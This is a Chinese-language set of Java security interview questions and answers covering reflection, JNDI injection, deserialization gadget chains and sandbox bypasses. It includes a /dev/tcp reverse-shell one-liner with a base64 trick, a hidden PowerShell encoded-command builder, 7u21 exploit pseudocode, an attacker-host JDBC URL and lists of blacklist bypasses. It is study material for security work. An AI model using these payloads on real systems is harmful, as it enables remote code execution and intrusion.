Java面试 - java基础 - 《我的安全笔记》

JDK

Java反射做了什么事情（★）

反射是根据字节码获得类信息或调用方法。从开发者角度来讲，反射最大的意义是提高程序的灵活性。Java本身是静态语言，但反射特性允许运行时动态修改类定义和属性等，达到了动态的效果

Java反射可以修改Final字段嘛（★★）

可以做到，参考以下代码

field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.set(null, newValue);

传统的反射方法加入黑名单怎么绕（★★★）

可以使用的类和方法如下（参考三梦师傅）

ReflectUtil.forName
BytecodeDescriptor
ClassLoader.loadClass
sun.reflect.misc.MethodUtil
sun.reflect.misc.FieldUtil
sun.reflect.misc.ConstructorUtil
MethodAccessor.invoke
JSClassLoader.invoke
JSClassLoader.newInstance

Java中可以执行反弹shell的命令吗（★★）

可以执行，但需要对命令进行特殊处理。例如直接执行这样的命令：bash -i >& /dev/tcp/ip/port 0>&1会失败，简单来说因为>符号是重定向，如果命令中包含输入输出重定向和管道符，只有在bash下才可以，使用Java执行这样的命令会失败，所以需要加入Base64

bash -c {echo,base64的payload}|{base64,-d}|{bash,-i}

针对Powershell应该使用以下的命令

powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc 特殊的Base64

这个特殊的Base64和普通Base64不同，需要填充0，算法如下

public static String getPowershellCommand(String cmd) {
    char[] chars = cmd.toCharArray();
    List<Byte> temp = new ArrayList<>();
    for (char c : chars) {
        byte[] code = String.valueOf(c).getBytes(StandardCharsets.UTF_8);
        for (byte b : code) {
            temp.add(b);
        }
        temp.add((byte) 0);
    }
    byte[] result = new byte[temp.size()];
    for (int i = 0; i < temp.size(); i++) {
        result[i] = temp.get(i);
    }
    String data = Base64.getEncoder().encodeToString(result);
    String prefix = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ";
    return prefix + data;
}

假设`Runtime.exec`加入黑名单还有什么方式执行命令（★★）

其实这个问题有点类似JSP Webshell免杀

大致方法有这些：使用基本的反射，ProcessImpl和ProcessBuilde，JDNI和LDAP注入，TemplatesImpl，BCEL，BeansExpression，自定义ClassLoader，动态编译加载，ScriptEngine，反射调用一些native方法，各种EL（SPEL和Tomcat EL等）

RMI和LDAP类型的JNDI注入分别在哪个版本限制（★）

RMI的JNDI注入在8u121后限制，需要手动开启com.sun.jndi.rmi.object.trustURLCodebase属性

LDAP的JNDI注入在8u191后限制，需要开启com.sun.jndi.ldap.object.trustURLCodebase属性

RMI和LDAP的限制版本分别可以怎样绕过（★★）

RMI的限制是限制了远程的工厂类而不限制本地，所以用本地工厂类触发

通过org.apache.naming.factory.BeanFactory结合ELProcessor绕过

LDAP的限制中不对javaSerializedData验证，所以可以打本地gadget

谈谈TemplatesImpl这个类（★★）

这个类本身是JDK中XML相关的类，但被很多Gadget拿来用

一般情况下加载字节码都需要使用到ClassLoader来做，其中最核心的defineClass方法只能通过反射来调用，所以实战可能比较局限。但JDK中有一个TemplatesImpl类，其中包含TransletClassLoader子类重写了defineClass所以允许TemplatesImpl类本身调用。TemplatesImpl其中有一个特殊字段_bytecodes是一个二维字节数组，是被加载的字节码

通过newTransformer可以达到defineClass方法加载字节码。而getOutputProperties方法（getter）中调用了newTransformer方法，也是一个利用链

TemplatesImpl.getOutputProperties()
    TemplatesImpl.newTransformer()
    TemplatesImpl.getTransletInstance()
    TemplatesImpl.defineTransletClasses()
    ClassLoader.defineClass()
    Class.newInstance()

了解BCEL ClassLoader吗（★）

BCEL的全名应该是Apache Commons BCEL，属于Apache Commons项目下的一个子项目

该类常常用于各种漏洞利用POC的构造，可以加载特殊的字符串所表示的字节码

但是在Java 8u251之后该类从JDK中移除

谈谈7U21反序列化（★★★★★）

从LinkedHashSet.readObject开始，找到父类HashSet.readObject方法，其中包含HashMap的类型转换以及HashMap.put方法，跟入HashMap.put其中对key与已有key进行equals判断，这个equals方法是触发后续利用链的关键。但equals方法的前置条件必须满足

if (e.hash == hash && ((k = e.key) == key || key.equals(k)))

所以这里需要用哈希碰撞，让下一个key的哈希值和前一个相等，才可进入第二个条件。而第二个条件中必须让前一个条件失败才可以进去equals方法，两个key对象不相同是显而易见的

接下来的任务是找到一处能触发equals方法的地方

反射创建AnnotationInvocationHandler对象，传入Templates类型和HashMap参数。再反射创建被该对象代理的新对象，根据动态代理技术，代理对象方法调用需要经过InvocationHandler.invoke方法，在AnnotationInvocationHandler这个InvocationHandler的invoke方法实现中如果遇到equals方法，会进入equalsImpl方法，其中遍历了equals方法传入的参数TemplatesImpl的所有方法并反射调用，通过getOutputProperties方法最终加载字节码导致RCE

关于7U21的伪代码如下

Object templates = Gadgets.createTemplatesImpl();
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);
LinkedHashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
map.put(zeroHashCodeStr, templates);
return set;

结合调用链

LinkedHashSet.readObject()
  LinkedHashSet.add()/HashMap.put()
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()

可以看到伪代码最后在map中put了某个元素，这是为了处理哈希碰撞的问题。TemplatesImpl没有重写hashcode直接调用Object的方法。而代理对象的hashcode方法也是会先进入invoke方法的，跟入hashCodeImpl方法看到是根据传入参数HashMap来做的，累加每一个Entry的key和value计算得出的hashcode。通过一些运算，可以找到符合条件的碰撞值

谈谈8U20反序列化（★★★★★）

这是7U21修复的绕过

在AnnotationInvocationHandler反序列化调用readObject方法中，对当前type进行了判断。之前POC中的Templates类型会导致抛出异常无法继续。使用BeanContextSupport绕过，在它的readObject方法中调用readChildren方法，其中有try-catch但没有抛出异常而是continue继续

所以这种情况下，就算之前的反序列化过程中出错，也会继续进行下去。但想要控制这种情况，不可以用正常序列化数据，需要自行构造畸形的序列化数据

了解缩小反序列化Payload的手段吗（★★★）

首先最容易的方案是使用Javassist生成字节码，这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令，可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载

谈谈实战中命令执行有哪些回显的办法（★★★★）

首先想到的办法是dnslog等技术进行外带，但必须出网，有限制

然后类似内存马的思路，针对指定中间件找response对象写入执行结果

尝试写文件，往web目录下写，例如xx.html可以访问到即可

将命令执行结果抛出异常，然后用URLClassLoader加载，达到报错回显

Y4er师傅提到的自定义类加载器配合RMI的一种方式

有没有了解过针对`linux`的通杀的回显方式（★★★★）

获取本次http请求用到socket的文件描述符，然后往文件描述符里写命令执行的结果

但鸡肋的地方在于需要确定源端口，才可以使用命令查到对应的文件描述符，存在反代可能有问题

是否存在针对`windows`的通杀的回显方式（★★★★）

原理类似linux的通杀回显，在windows中nio/bio中有类似于linux文件描述符这样的句柄文件

遍历fd反射创建对应的文件描述符，利用sun.nio.ch.Net#remoteAddress确认文件描述符有效性，然后往里面写数据实现回显

是否了解JDBC Connection URL攻击（★★★）

果我们可以控制JDBC URI就可将JDBC连接地址指向攻击者事先准备好的恶意服务器，这个服务器可以返回恶意的序列化数据

指定autoDeserialize参数为true后MySQL客户端就可以自动反序列化恶意Payload

使用ServerStatusDiffInterceptor触发客户端和服务端的交互和反序列化

jdbc:mysql://attacker/db?queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

以上是基本攻击手段，还有一些进阶的内容，例如allowUrlInLocalInfile和detectCustomCollations参数

你知道JDK针对反序列化漏洞做了什么修复嘛（★★★）

在JEP 290中提供一个限制反序列化的类的机制，黑白名单方式，同时限制反序列化深度和复杂度，为 RMI 导出的对象设置了验证机制。具体实现是提供一个全局过滤器，可以从属性或者配置文件中配置。在ObjectInputStream类中增加了一个serialFilter属性和一个filterChcek函数，其中serialFilter就可以理解为过滤器

JEP 290有没有绕过的办法（★★★★★）

根据JEP 290限制的原理，白名单对象包括了：String,Remote,Proxy,UnicaseRef,RMIClientSocketFactory等

如果目标的RMI服务暴漏了Object参数类型的方法，且该类在白名单中，我们就可以注入Payload进去以绕过检测

另外还一些骚思路，比如想办法改源码，或用Java Agent对某些方法Hook并更改等

谈谈`Security Manager`的绕过（★★★★）

通过设置参数java.security.policy指定policy以提权；反射调用setSecurityManager修改Security Manager以绕过；自定义ClassLoader并设置ProtectionDomain里面的权限初始化为所有权限以绕过；由于native方法不受Java Security Manager管控，所以可以调用这些方法绕过

简单谈谈类加载的过程（★★）

首先是由C/C++编写的Bootstrap ClassLoader用于加载rt.jar等核心包

然后是Extension ClassLoader加载JDK中Ext目录的包，可以加入自定义的包

接着是Application Classloader加载CLASSPATH中的类，项目中的类都是由该类加载器加载完成的

最后是自定义类加载器，继承ClassLoader类重写findClass方法，在Webshell中有应用

简单谈谈双亲委派（★）

当某个类加载器需要加载某个class文件时，首先把这个任务委托给他的上级类加载器，递归这个操作，如果上级的类加载器没有加载，自己才会去加载这个类

父类加载器一层一层往下分配任务，如果子类加载器能加载，则加载此类，如果将加载任务分配至系统类加载器也无法加载此类，则抛出异常

双亲委派主要作用是什么（★★）

最主要的作用是保证系统类的安全，基础类不会被自定义类加载器破坏和篡改，其次防止重复加载可以提高效率

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